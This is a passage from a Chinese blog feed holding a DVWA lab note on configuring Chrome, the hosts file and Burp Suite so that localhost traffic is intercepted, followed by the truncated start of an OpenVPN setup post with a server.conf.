class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">127.0.0.1</span>  dvwa.local</span><br></pre></td></tr></table></figure><p>完整的 hosts 文件内容示例：</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Copyright (c) 1993-2009 Microsoft Corp.</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># This is a sample HOSTS file used by Microsoft TCP/IP for Windows.</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># This file contains the mappings of IP addresses to host names. Each</span></span><br><span class="line"><span class="comment"># entry should be kept on an individual line. The IP address should</span></span><br><span class="line"><span class="comment"># be placed in the first column followed by the corresponding host name.</span></span><br><span class="line"><span class="comment"># The IP address and the host name should be separated by at least one</span></span><br><span class="line"><span class="comment"># space.</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Additionally, comments (such as these) may be inserted on individual</span></span><br><span class="line"><span class="comment"># lines or following the machine name denoted by a &#x27;#&#x27; symbol.</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># For example:</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment">#      102.54.94.97     rhino.acme.com          # source server</span></span><br><span class="line"><span class="comment">#       38.25.63.10     x.acme.com              # x client host</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># localhost name resolution is handled within DNS itself.</span></span><br><span class="line"><span class="comment">#127.0.0.1       localhost</span></span><br><span class="line"><span class="comment">#::1             localhost</span></span><br><span class="line"></span><br><span class="line"><span class="attribute">127</span>.<span class="number">0</span>.<span class="number">0</span>.<span class="number">1</span>  dvwa.local</span><br></pre></td></tr></table></figure><h3 id="步骤-3：保存文件"><a href="#步骤-3：保存文件" class="headerlink" title="步骤 3：保存文件"></a>步骤 3：保存文件</h3><ol><li>点击 <strong>“文件” → “保存”</strong></li><li>关闭记事本</li></ol><h3 id="步骤-4：刷新-DNS-缓存"><a href="#步骤-4：刷新-DNS-缓存" class="headerlink" title="步骤 4：刷新 DNS 缓存"></a>步骤 4：刷新 DNS 缓存</h3><p>打开命令提示符（<code>Win + R</code>，输入 <code>cmd</code>），执行：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ipconfig</span> /flushdns</span><br></pre></td></tr></table></figure><p>你应该看到：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Windows<span class="built_in"> IP </span>配置</span><br><span class="line">已成功刷新<span class="built_in"> DNS </span>解析缓存。</span><br></pre></td></tr></table></figure><h3 id="步骤-5：验证配置"><a href="#步骤-5：验证配置" class="headerlink" title="步骤 5：验证配置"></a>步骤 5：验证配置</h3><p>在命令提示符中执行：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ping</span> dvwa.local</span><br></pre></td></tr></table></figure><p>应该显示：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">正在<span class="built_in"> Ping </span>dvwa.local [127.0.0.1] 具有 32 字节的数据:</span><br><span class="line">来自 127.0.0.1 的回复: 字节=32 时间&lt;1ms <span class="attribute">TTL</span>=128</span><br></pre></td></tr></table></figure><h3 id="步骤-6：修改-DVWA-访问地址"><a href="#步骤-6：修改-DVWA-访问地址" class="headerlink" title="步骤 6：修改 DVWA 访问地址"></a>步骤 6：修改 DVWA 访问地址</h3><p>从现在开始，不要访问：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="regexp">//</span>localhost/dvwa</span><br></pre></td></tr></table></figure><p>而是访问：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="regexp">//</span>dvwa.local/dvwa</span><br></pre></td></tr></table></figure><hr><h2 id="方案-C：正确配置-Burp-Suite-拦截规则-1"><a href="#方案-C：正确配置-Burp-Suite-拦截规则-1" class="headerlink" title="方案 C：正确配置 Burp Suite 拦截规则"></a>方案 C：正确配置 Burp Suite 拦截规则</h2><h3 id="问题说明"><a href="#问题说明" class="headerlink" title="问题说明"></a>问题说明</h3><p>即使浏览器代理配置正确，如果 Burp Suite 的拦截规则配置不当，仍然无法拦截请求。</p><h3 id="关键配置点"><a href="#关键配置点" class="headerlink" title="关键配置点"></a>关键配置点</h3><h4 id="❌-错误配置"><a href="#❌-错误配置" class="headerlink" title="❌ 错误配置"></a>❌ 错误配置</h4><p>如果勾选了 **”And URL is in target scope”**，Burp 只会拦截在 Target Scope 中的 URL。如果 <code>dvwa.local</code> 不在 Scope 中，请求将不会被拦截。</p><h4 id="✅-正确配置"><a href="#✅-正确配置" class="headerlink" title="✅ 正确配置"></a>✅ 正确配置</h4><h3 id="步骤-1：进入-Proxy-Settings"><a href="#步骤-1：进入-Proxy-Settings" class="headerlink" title="步骤 1：进入 Proxy Settings"></a>步骤 1：进入 Proxy Settings</h3><ol><li>在 Burp Suite 中，点击 <strong>Settings</strong>（或旧版本中的齿轮图标）</li><li>在左侧导航中，选择 <strong>Tools → Proxy</strong></li><li>找到 <strong>Request interception rules</strong> 部分</li></ol><h3 id="步骤-2：配置拦截规则"><a href="#步骤-2：配置拦截规则" class="headerlink" title="步骤 2：配置拦截规则"></a>步骤 2：配置拦截规则</h3><p><strong>必须勾选</strong>：</p><ul><li>✅ <strong>Intercept requests based on the following rules</strong><ul><li>这个选项必须启用，否则拦截功能不工作</li></ul></li></ul><p><strong>必须取消勾选</strong>：</p><ul><li>❌ <strong>And URL is in target scope</strong><ul><li>取消这个选项，允许拦截所有请求，不受 Scope 限制</li></ul></li></ul><p><strong>可选勾选</strong>（推荐保留）：</p><ul><li><p>✅ <strong>Or File extension Does not match</strong></p><ul><li>条件：<code>^gif$|^jpg$|^png$|^css$|^js$|^ico$...</code></li><li>说明：不拦截图片、CSS、JS 等静态资源</li></ul></li><li><p>✅ <strong>Or Request Contains parameters</strong></p><ul><li>说明：拦截包含参数的请求（如登录请求）</li></ul></li><li><p>✅ <strong>Or HTTP method Does not match</strong></p><ul><li>条件：<code>get|post</code></li><li>说明：只拦截 GET 和 POST 请求</li></ul></li></ul><h3 id="步骤-3：推荐的拦截规则配置"><a href="#步骤-3：推荐的拦截规则配置" class="headerlink" title="步骤 3：推荐的拦截规则配置"></a>步骤 3：推荐的拦截规则配置</h3><p>最终的拦截规则配置应该如下：</p><table><thead><tr><th>Enabled</th><th>Operator</th><th>Match type</th><th>Relationship</th><th>Condition</th></tr></thead><tbody><tr><td>✅</td><td>Or</td><td>File extension</td><td>Does not match</td><td>&#96;^gif$</td></tr><tr><td>✅</td><td>Or</td><td>Request</td><td>Contains parameters</td><td>-</td></tr><tr><td>✅</td><td>Or</td><td>HTTP method</td><td>Does not match</td><td>&#96;get</td></tr><tr><td>❌</td><td><del>And</del></td><td><del>URL</del></td><td><del>Is in target scope</del></td><td><del>（取消勾选）</del></td></tr></tbody></table><h3 id="步骤-4：配置Burp-Suite的proxy标签的-Response-Interception-Rules"><a href="#步骤-4：配置Burp-Suite的proxy标签的-Response-Interception-Rules" class="headerlink" title="步骤 4：配置Burp Suite的proxy标签的 Response Interception Rules"></a>步骤 4：配置Burp Suite的proxy标签的 Response Interception Rules</h3><p>在 <strong>Response interception rules</strong> 部分，类似配置：</p><p><strong>必须勾选</strong>：</p><ul><li>✅ <strong>Intercept responses based on the following rules</strong></li></ul><p><strong>推荐配置</strong>：</p><ul><li>✅ <strong>Or Content type header Matches</strong> → <code>text</code></li><li>✅ <strong>And Request Was intercepted</strong></li><li>✅ <strong>And Status code Does not match</strong> → <code>^304$</code></li><li>❌ <strong>And URL is in target scope</strong>（取消勾选）</li></ul><p><strong>配置完成后proxy配置是这样的:</strong><br><img src="https://cxy-1300765640.cos.ap-nanjing.myqcloud.com/hexo_blog/proxy1.png"><br>—分割线—<br><img src="https://cxy-1300765640.cos.ap-nanjing.myqcloud.com/hexo_blog/proxy2.png"><br>—分割线—<br><img src="https://cxy-1300765640.cos.ap-nanjing.myqcloud.com/hexo_blog/proxy3.png"><br>—分割线—<br><img src="https://cxy-1300765640.cos.ap-nanjing.myqcloud.com/hexo_blog/proxy4.png"><br>—分割线—<br><img src="https://cxy-1300765640.cos.ap-nanjing.myqcloud.com/hexo_blog/proxy5.png"></p><h3 id="步骤-5：浏览器配置如下"><a href="#步骤-5：浏览器配置如下" class="headerlink" title="步骤 5：浏览器配置如下:"></a>步骤 5：浏览器配置如下:</h3><p>1.代理端口号需要和proxy配置中的Proxy listeners一致<br><br>2.不代理的地址列表不能有localost或者127.0.0.1<br><br><img src="https://cxy-1300765640.cos.ap-nanjing.myqcloud.com/hexo_blog/%E6%B5%8F%E8%A7%88%E5%99%A8%E9%85%8D%E7%BD%AE.png"></p><h3 id="步骤-6：Burp-Suite的Proxy标签的HTTP-history的filter配置"><a href="#步骤-6：Burp-Suite的Proxy标签的HTTP-history的filter配置" class="headerlink" title="步骤 6：Burp Suite的Proxy标签的HTTP history的filter配置:"></a>步骤 6：Burp Suite的Proxy标签的HTTP history的filter配置:</h3><p>1.需要勾选上HTML<br><img src="https://cxy-1300765640.cos.ap-nanjing.myqcloud.com/hexo_blog/proxy_http_history.png"></p><h3 id="步骤-7：保存并测试"><a href="#步骤-7：保存并测试" class="headerlink" title="步骤 7：保存并测试"></a>步骤 7：保存并测试</h3><ol><li>配置完成后，关闭 Settings 窗口</li><li>确保 <strong>Proxy → Intercept</strong> 显示 <strong>“Intercept is on”</strong></li><li>在浏览器中访问 <code>http://dvwa.local/dvwa</code></li><li>应该能在 Burp Suite 中看到被拦截的请求</li></ol><hr><h2 id="完整验证流程"><a href="#完整验证流程" class="headerlink" title="完整验证流程"></a>完整验证流程</h2><h3 id="第一步：验证基础配置"><a href="#第一步：验证基础配置" class="headerlink" title="第一步：验证基础配置"></a>第一步：验证基础配置</h3><ol><li>✅ Burp Suite Proxy 监听在 <code>127.0.0.1:8082</code></li><li>✅ SwitchyOmega 配置代理为 <code>localhost:8082</code></li><li>✅ 浏览器当前使用 “burp suite” 情景模式</li></ol><h3 id="第二步：验证-Chrome-启动参数"><a href="#第二步：验证-Chrome-启动参数" class="headerlink" title="第二步：验证 Chrome 启动参数"></a>第二步：验证 Chrome 启动参数</h3><ol><li>通过修改后的快捷方式启动 Chrome</li><li>访问 <code>chrome://version</code></li><li>确认命令行中包含 <code>--proxy-bypass-list=&quot;&lt;-loopback&gt;&quot;</code></li></ol><h3 id="第三步：验证-Hosts-配置"><a href="#第三步：验证-Hosts-配置" class="headerlink" title="第三步：验证 Hosts 配置"></a>第三步：验证 Hosts 配置</h3><ol><li>在命令提示符中执行：<code>ping dvwa.local</code></li><li>确认解析到 <code>127.0.0.1</code></li></ol><h3 id="第四步：验证-Burp-代理工作"><a href="#第四步：验证-Burp-代理工作" class="headerlink" title="第四步：验证 Burp 代理工作"></a>第四步：验证 Burp 代理工作</h3><ol><li>在浏览器中访问 <code>http://burp</code></li><li>应该看到 “Welcome to Burp Suite Professional” 页面</li><li>如果能看到，说明代理正常工作</li></ol><h3 id="第五步：验证拦截功能"><a href="#第五步：验证拦截功能" class="headerlink" title="第五步：验证拦截功能"></a>第五步：验证拦截功能</h3><ol><li>在 Burp Suite 中，确保 <strong>Intercept is on</strong></li><li>在浏览器中访问 <code>http://dvwa.local/dvwa</code></li><li>应该在 Burp Suite 的 Intercept 标签中看到请求被拦截</li></ol><h3 id="第六步：完整测试"><a href="#第六步：完整测试" class="headerlink" title="第六步：完整测试"></a>第六步：完整测试</h3><ol><li>在 DVWA 登录页面输入用户名和密码</li><li>点击 Login 按钮</li><li>在 Burp Suite 中应该能看到：<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/dvwa/vulnerabilities/brute/?username=xxx&amp;password=xxx&amp;Login=Login</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>dvwa.local</span><br></pre></td></tr></table></figure></li></ol><hr><h2 id="故障排查"><a href="#故障排查" class="headerlink" title="故障排查"></a>故障排查</h2><h3 id="问题-1：Chrome-启动参数不生效"><a href="#问题-1：Chrome-启动参数不生效" class="headerlink" title="问题 1：Chrome 启动参数不生效"></a>问题 1：Chrome 启动参数不生效</h3><p><strong>症状</strong>：</p><ul><li>在 <code>chrome://version</code> 中看不到 <code>--proxy-bypass-list</code> 参数</li></ul><p><strong>原因</strong>：</p><ul><li>可能有其他 Chrome 进程在后台运行</li><li>没有通过修改的快捷方式启动</li></ul><p><strong>解决方案</strong>：</p><ol><li>打开任务管理器，结束所有 <code>chrome.exe</code> 进程</li><li>确保<strong>只通过修改的快捷方式</strong>启动 Chrome</li><li>不要点击任务栏上的 Chrome 图标</li></ol><h3 id="问题-2：Hosts-文件修改不生效"><a href="#问题-2：Hosts-文件修改不生效" class="headerlink" title="问题 2：Hosts 文件修改不生效"></a>问题 2：Hosts 文件修改不生效</h3><p><strong>症状</strong>：</p><ul><li><code>ping dvwa.local</code> 无法解析或解析错误</li></ul><p><strong>原因</strong>：</p><ul><li>Hosts 文件格式错误（多余的空格、Tab 等）</li><li>DNS 缓存未刷新</li><li>没有管理员权限保存</li></ul><p><strong>解决方案</strong>：</p><ol><li><p>确保 hosts 文件格式正确：</p><figure class="highlight accesslog"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">127.0.0.1</span>  dvwa.local</span><br></pre></td></tr></table></figure><p>（IP 和域名之间至少一个空格）</p></li><li><p>执行：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ipconfig</span> /flushdns</span><br></pre></td></tr></table></figure></li><li><p>以管理员身份重新编辑和保存 hosts 文件</p></li></ol><h3 id="问题-3：Burp-仍然拦截不到请求"><a href="#问题-3：Burp-仍然拦截不到请求" class="headerlink" title="问题 3：Burp 仍然拦截不到请求"></a>问题 3：Burp 仍然拦截不到请求</h3><p><strong>症状</strong>：</p><ul><li>访问 <code>http://burp</code> 可以看到欢迎页面</li><li>但访问 <code>http://dvwa.local/dvwa</code> 拦截不到</li></ul><p><strong>可能原因与解决方案</strong>：</p><h4 id="原因-A：Intercept-规则配置错误"><a href="#原因-A：Intercept-规则配置错误" class="headerlink" title="原因 A：Intercept 规则配置错误"></a>原因 A：Intercept 规则配置错误</h4><p><strong>检查</strong>：</p><ol><li>进入 <strong>Settings → Tools → Proxy</strong></li><li>找到 <strong>Request interception rules</strong></li><li>确认 ✅ <strong>“Intercept requests based on the following rules”</strong> 已勾选</li><li>确认 ❌ <strong>“And URL is in target scope”</strong> 未勾选</li></ol><h4 id="原因-B：浏览器缓存问题"><a href="#原因-B：浏览器缓存问题" class="headerlink" title="原因 B：浏览器缓存问题"></a>原因 B：浏览器缓存问题</h4><p><strong>解决</strong>：</p><ol><li>清除浏览器缓存（<code>Ctrl + Shift + Delete</code>）</li><li>重启浏览器</li><li>再次测试</li></ol><h4 id="原因-C：HTTPS-重定向"><a href="#原因-C：HTTPS-重定向" class="headerlink" title="原因 C：HTTPS 重定向"></a>原因 C：HTTPS 重定向</h4><p><strong>解决</strong>：</p><ul><li>确保访问的是 <code>http://dvwa.local</code>（HTTP，不是 HTTPS）</li><li>如果自动跳转到 HTTPS，需要配置 Burp 的 HTTPS 拦截</li></ul><h3 id="问题-4：dvwa-local-无法访问"><a href="#问题-4：dvwa-local-无法访问" class="headerlink" title="问题 4：dvwa.local 无法访问"></a>问题 4：dvwa.local 无法访问</h3><p><strong>症状</strong>：</p><ul><li>浏览器显示 “无法访问此网站” 或 “ERR_CONNECTION_REFUSED”</li></ul><p><strong>原因</strong>：</p><ul><li>DVWA 服务器未启动</li><li>Apache&#x2F;Nginx 没有配置虚拟主机</li></ul><p><strong>解决方案</strong>：</p><h4 id="配置-Apache-虚拟主机（可选）"><a href="#配置-Apache-虚拟主机（可选）" class="headerlink" title="配置 Apache 虚拟主机（可选）"></a>配置 Apache 虚拟主机（可选）</h4><ol><li><p>编辑 Apache 配置文件（如 <code>httpd.conf</code> 或 <code>httpd-vhosts.conf</code>）</p></li><li><p>添加虚拟主机配置：</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">&lt;VirtualHost *<span class="number">:80</span>&gt;</span></span><br><span class="line">    <span class="attribute">ServerName</span> dvwa.local</span><br><span class="line">    <span class="attribute">DocumentRoot</span> <span class="string">&quot;C:/xampp/htdocs&quot;</span></span><br><span class="line">    <span class="section">&lt;Directory <span class="string">&quot;C:/xampp/htdocs&quot;</span>&gt;</span></span><br><span class="line">        <span class="attribute">Options</span> Indexes FollowSymLinks</span><br><span class="line">        <span class="attribute">AllowOverride</span> <span class="literal">All</span></span><br><span class="line">        <span class="attribute">Require</span> <span class="literal">all</span> granted</span><br><span class="line">    <span class="section">&lt;/Directory&gt;</span></span><br><span class="line"><span class="section">&lt;/VirtualHost&gt;</span></span><br></pre></td></tr></table></figure></li><li><p>重启 Apache 服务</p></li></ol><hr><h2 id="最佳实践建议"><a href="#最佳实践建议" class="headerlink" title="最佳实践建议"></a>最佳实践建议</h2><h3 id="1-同时使用三个方案"><a href="#1-同时使用三个方案" class="headerlink" title="1. 同时使用三个方案"></a>1. 同时使用三个方案</h3><p><strong>推荐组合</strong>：</p><ul><li>✅ Chrome 启动参数（<code>--proxy-bypass-list=&quot;&lt;-loopback&gt;&quot;</code>）</li><li>✅ Hosts 文件配置（<code>dvwa.local</code>）</li><li>✅ Burp 拦截规则配置（取消勾选 Scope 限制）</li></ul><p>这样可以确保：</p><ul><li>Chrome 不会绕过本地代理</li><li>使用自定义域名避免 localhost 特殊处理</li><li>Burp 能拦截所有请求</li></ul><h3 id="2-创建专用的-Chrome-配置文件"><a href="#2-创建专用的-Chrome-配置文件" class="headerlink" title="2. 创建专用的 Chrome 配置文件"></a>2. 创建专用的 Chrome 配置文件</h3><p>为渗透测试创建单独的 Chrome 配置文件：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;C:\Program Files\Google\Chrome\Application\chrome.exe&quot; --user-data-<span class="built_in">dir</span>=&quot;C:\ChromePentest&quot; --proxy-bypass-list=&quot;&lt;-loopback&gt;&quot;</span><br></pre></td></tr></table></figure><p>这样可以避免影响日常使用的 Chrome 配置。</p><h3 id="3-使用-Firefox-替代方案"><a href="#3-使用-Firefox-替代方案" class="headerlink" title="3. 使用 Firefox 替代方案"></a>3. 使用 Firefox 替代方案</h3><p>如果 Chrome 配置太麻烦，可以使用 Firefox：</p><ul><li>Firefox 对代理的支持更好</li><li>不会自动绕过 localhost</li><li>配置相对简单</li></ul><h3 id="4-固定-Burp-监听端口"><a href="#4-固定-Burp-监听端口" class="headerlink" title="4. 固定 Burp 监听端口"></a>4. 固定 Burp 监听端口</h3><p>统一使用固定端口（如 8082），避免频繁修改配置。</p><hr><h2 id="配置检查清单"><a href="#配置检查清单" class="headerlink" title="配置检查清单"></a>配置检查清单</h2><p>在开始渗透测试前，确保以下所有项都已正确配置：</p><h3 id="Chrome-配置"><a href="#Chrome-配置" class="headerlink" title="Chrome 配置"></a>Chrome 配置</h3><ul><li><input disabled="" type="checkbox"> 已创建带启动参数的快捷方式</li><li><input disabled="" type="checkbox"> 快捷方式包含 <code>--proxy-bypass-list=&quot;&lt;-loopback&gt;&quot;</code></li><li><input disabled="" type="checkbox"> 通过该快捷方式启动 Chrome</li><li><input disabled="" type="checkbox"> 在 <code>chrome://version</code> 中确认参数生效</li></ul><h3 id="Hosts-配置"><a href="#Hosts-配置" class="headerlink" title="Hosts 配置"></a>Hosts 配置</h3><ul><li><input disabled="" type="checkbox"> 以管理员身份编辑 hosts 文件</li><li><input disabled="" type="checkbox"> 添加 <code>127.0.0.1  dvwa.local</code> 条目</li><li><input disabled="" type="checkbox"> 保存文件</li><li><input disabled="" type="checkbox"> 执行 <code>ipconfig /flushdns</code></li><li><input disabled="" type="checkbox"> 用 <code>ping dvwa.local</code> 验证</li></ul><h3 id="Burp-Suite-配置"><a href="#Burp-Suite-配置" class="headerlink" title="Burp Suite 配置"></a>Burp Suite 配置</h3><ul><li><input disabled="" type="checkbox"> Proxy Listener 运行在 127.0.0.1:8082</li><li><input disabled="" type="checkbox"> ✅ “Intercept requests based on the following rules” 已勾选</li><li><input disabled="" type="checkbox"> ❌ “And URL is in target scope” 未勾选</li><li><input disabled="" type="checkbox"> Intercept is on（拦截已开启）</li></ul><h3 id="SwitchyOmega-配置"><a href="#SwitchyOmega-配置" class="headerlink" title="SwitchyOmega 配置"></a>SwitchyOmega 配置</h3><ul><li><input disabled="" type="checkbox"> 代理服务器：localhost:8082</li><li><input disabled="" type="checkbox"> 不代理列表只包含 <code>[::1]</code></li><li><input disabled="" type="checkbox"> 当前情景模式：burp suite</li></ul><h3 id="验证测试"><a href="#验证测试" class="headerlink" title="验证测试"></a>验证测试</h3><ul><li><input disabled="" type="checkbox"> 访问 <code>http://burp</code> 能看到欢迎页面</li><li><input disabled="" type="checkbox"> 访问 <code>http://dvwa.local/dvwa</code> 能看到 DVWA</li><li><input disabled="" type="checkbox"> 登录操作能被 Burp 拦截</li><li><input disabled="" type="checkbox"> HTTP History 中能看到请求记录</li></ul><hr><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>解决 Burp Suite 无法拦截 localhost 请求的<strong>完整方案</strong>包括：</p><ol><li><p><strong>修改 Chrome 启动参数</strong></p><ul><li>添加 <code>--proxy-bypass-list=&quot;&lt;-loopback&gt;&quot;</code> 参数</li><li>禁用浏览器对 localhost 的代理绕过</li></ul></li><li><p><strong>配置 Hosts 文件</strong></p><ul><li>添加 <code>127.0.0.1  dvwa.local</code> 映射</li><li>使用自定义域名访问 DVWA</li></ul></li><li><p><strong>正确配置 Burp 拦截规则</strong></p><ul><li>勾选 “Intercept requests based on the following rules”</li><li><strong>取消勾选</strong> “And URL is in target scope”</li><li>可选勾选 “Or HTTP method Does not match”</li></ul></li></ol><p>这三个方案<strong>必须同时应用</strong>才能彻底解决问题。</p><hr><h2 id="附录：其他浏览器配置"><a href="#附录：其他浏览器配置" class="headerlink" title="附录：其他浏览器配置"></a>附录：其他浏览器配置</h2><h3 id="Microsoft-Edge"><a href="#Microsoft-Edge" class="headerlink" title="Microsoft Edge"></a>Microsoft Edge</h3><p>Edge 基于 Chromium，配置方法与 Chrome 相同：</p><figure class="highlight abnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe&quot;</span> --proxy-bypass-list<span class="operator">=</span><span class="string">&quot;&lt;-loopback&gt;&quot;</span></span><br></pre></td></tr></table></figure><h3 id="Firefox"><a href="#Firefox" class="headerlink" title="Firefox"></a>Firefox</h3><p>Firefox 对代理支持较好，通常不需要特殊配置：</p><ol><li>打开 Firefox 设置</li><li>搜索 “代理”</li><li>选择 “手动代理配置”</li><li>HTTP 代理：<code>127.0.0.1</code>，端口：<code>8082</code></li><li>勾选 “也将此代理用于 HTTPS”</li><li><strong>不要</strong>在 “不使用代理” 中添加 localhost</li></ol><hr><p><strong>文档版本</strong>：1.0<br><strong>最后更新</strong>：2025-11-19<br><strong>适用环境</strong>：Windows 10&#x2F;11 + Chrome&#x2F;Edge + Burp Suite Professional&#x2F;Community</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;问题描述&quot;&gt;&lt;a href=&quot;#问题描述&quot; class=&quot;headerlink&quot; title=&quot;问题描述&quot;&gt;&lt;/a&gt;问题描述&lt;/h2&gt;&lt;p&gt;在使用 Burp Suite 进行 DVWA 渗透测试时，遇到以下问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;浏览器访问 &lt;code&gt;</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>搭建openvpn</title>
    <link href="http://caixuya.github.io/2023/06/12/%E6%90%AD%E5%BB%BAopenvpn/"/>
    <id>http://caixuya.github.io/2023/06/12/%E6%90%AD%E5%BB%BAopenvpn/</id>
    <published>2023-06-11T17:30:31.000Z</published>
    <updated>2023-06-11T17:47:33.699Z</updated>
    
    <content type="html"><![CDATA[<p>购买腾讯云服务器：<a href="https://blog.csdn.net/SoloVersion/article/details/123854852?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168589280616800185825175%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=168589280616800185825175&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-123854852-null-null.142%5Ev88%5Einsert_down28v1,239%5Ev2%5Einsert_chatgpt&utm_term=XShell&spm=1018.2226.3001.4187">服务器</a><br><br>xshell服务器连接工具教程：<a href="https://www.puttylink.com/">xshell</a><br><br>搭建vpn的教程参考：<br><br><a href="https://zhuanlan.zhihu.com/p/630327056">搭建vpn</a><br><br><a href="https://blog.csdn.net/rockage/article/details/127190263">一看就懂的保姆级教程：openvn设置 （亲测通过）</a><br><br><a href="http://www.itca.cc/VPN%E6%90%AD%E5%BB%BA/openvpn.html">在 Windows Server2019 上搭建 OpenVPN 服务端</a><br><br>（参考了很多资料，大概有十几篇，大多都没有保存有网址，只记下这三个，并非有意不列出全部出处，如有侵权，麻烦告知，抱歉抱歉，不到最后我也不知道参考的是否有用，网页太多就关掉了许多）<br><br>搭建vpn的时候参考上面链接的教程就行<br><br>其中有一个坑，客户端的client.ovpn的配置中，<code>remote 43.156.116.201 1194 #这里需要写的是openvpn服务器IP地址端口号，也就是购买的服务器的公网ip</code><br></p><p>环境：<br>服务器：腾讯云服务器<br>客户端：在本机windows10安装openvpn客户端</p><p>其中五个重要的配置如下：<br></p><p>一：server.conf的配置如下：<br></p><figure class="highlight axapta"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">port <span class="number">1198</span>                               <span class="meta">#端口</span></span><br><span class="line">proto tcp                               <span class="meta">#协议</span></span><br><span class="line">dev tun                                 <span class="meta">#采用路由隧道模式tun</span></span><br><span class="line">ca ca.crt                               <span class="meta">#ca证书文件位置</span></span><br><span class="line">cert <span class="keyword">server</span>.crt                         <span class="meta">#服务端公钥名称</span></span><br><span class="line">key <span class="keyword">server</span>.key                          <span class="meta">#服务端私钥名称</span></span><br><span class="line">dh dh.pem                               <span class="meta">#交换证书</span></span><br><span class="line"><span class="keyword">server</span> <span class="number">10.8</span><span class="number">.0</span><span class="number">.0</span> <span class="number">255.255</span><span class="number">.255</span><span class="number">.0</span>           <span class="meta">#给客户端分配地址池，注意：不能和VPN服务器内网网段有相同&quot;</span></span><br><span class="line">push <span class="string">&quot;route 0.0.0.0 0.0.0.0&quot;</span></span><br><span class="line">push <span class="string">&quot;dhcp-option DNS 208.67.222.222&quot;</span></span><br><span class="line">push <span class="string">&quot;dhcp-option DNS 208.67.220.220&quot;</span></span><br><span class="line">push <span class="string">&quot;route 192.168.0.0 255.255.255.0&quot;</span>   <span class="meta">#允许客户端访问内网172.16.0.0网段</span></span><br><span class="line">ifconfig-pool-persist ipp.txt           <span class="meta">#地址池记录文件位置</span></span><br><span class="line">keepalive <span class="number">10</span> <span class="number">120</span>                        <span class="meta">#存活时间，10秒ping一次,120 如未收到响应则视为断线</span></span><br><span class="line">max-clients <span class="number">100</span>                         <span class="meta">#最多允许100个客户端连接</span></span><br><span class="line">status openvpn-status.log               <span class="meta">#日志记录位置</span></span><br><span class="line">verb <span class="number">3</span>                                  <span class="meta">#openvpn版本</span></span><br><span class="line"><span class="keyword">client</span>-to-<span class="keyword">client</span>                        <span class="meta">#客户端与客户端之间支持通信</span></span><br><span class="line">log /<span class="built_in">var</span>/log/openvpn.log                <span class="meta">#openvpn日志记录位置</span></span><br><span class="line">persist-key     <span 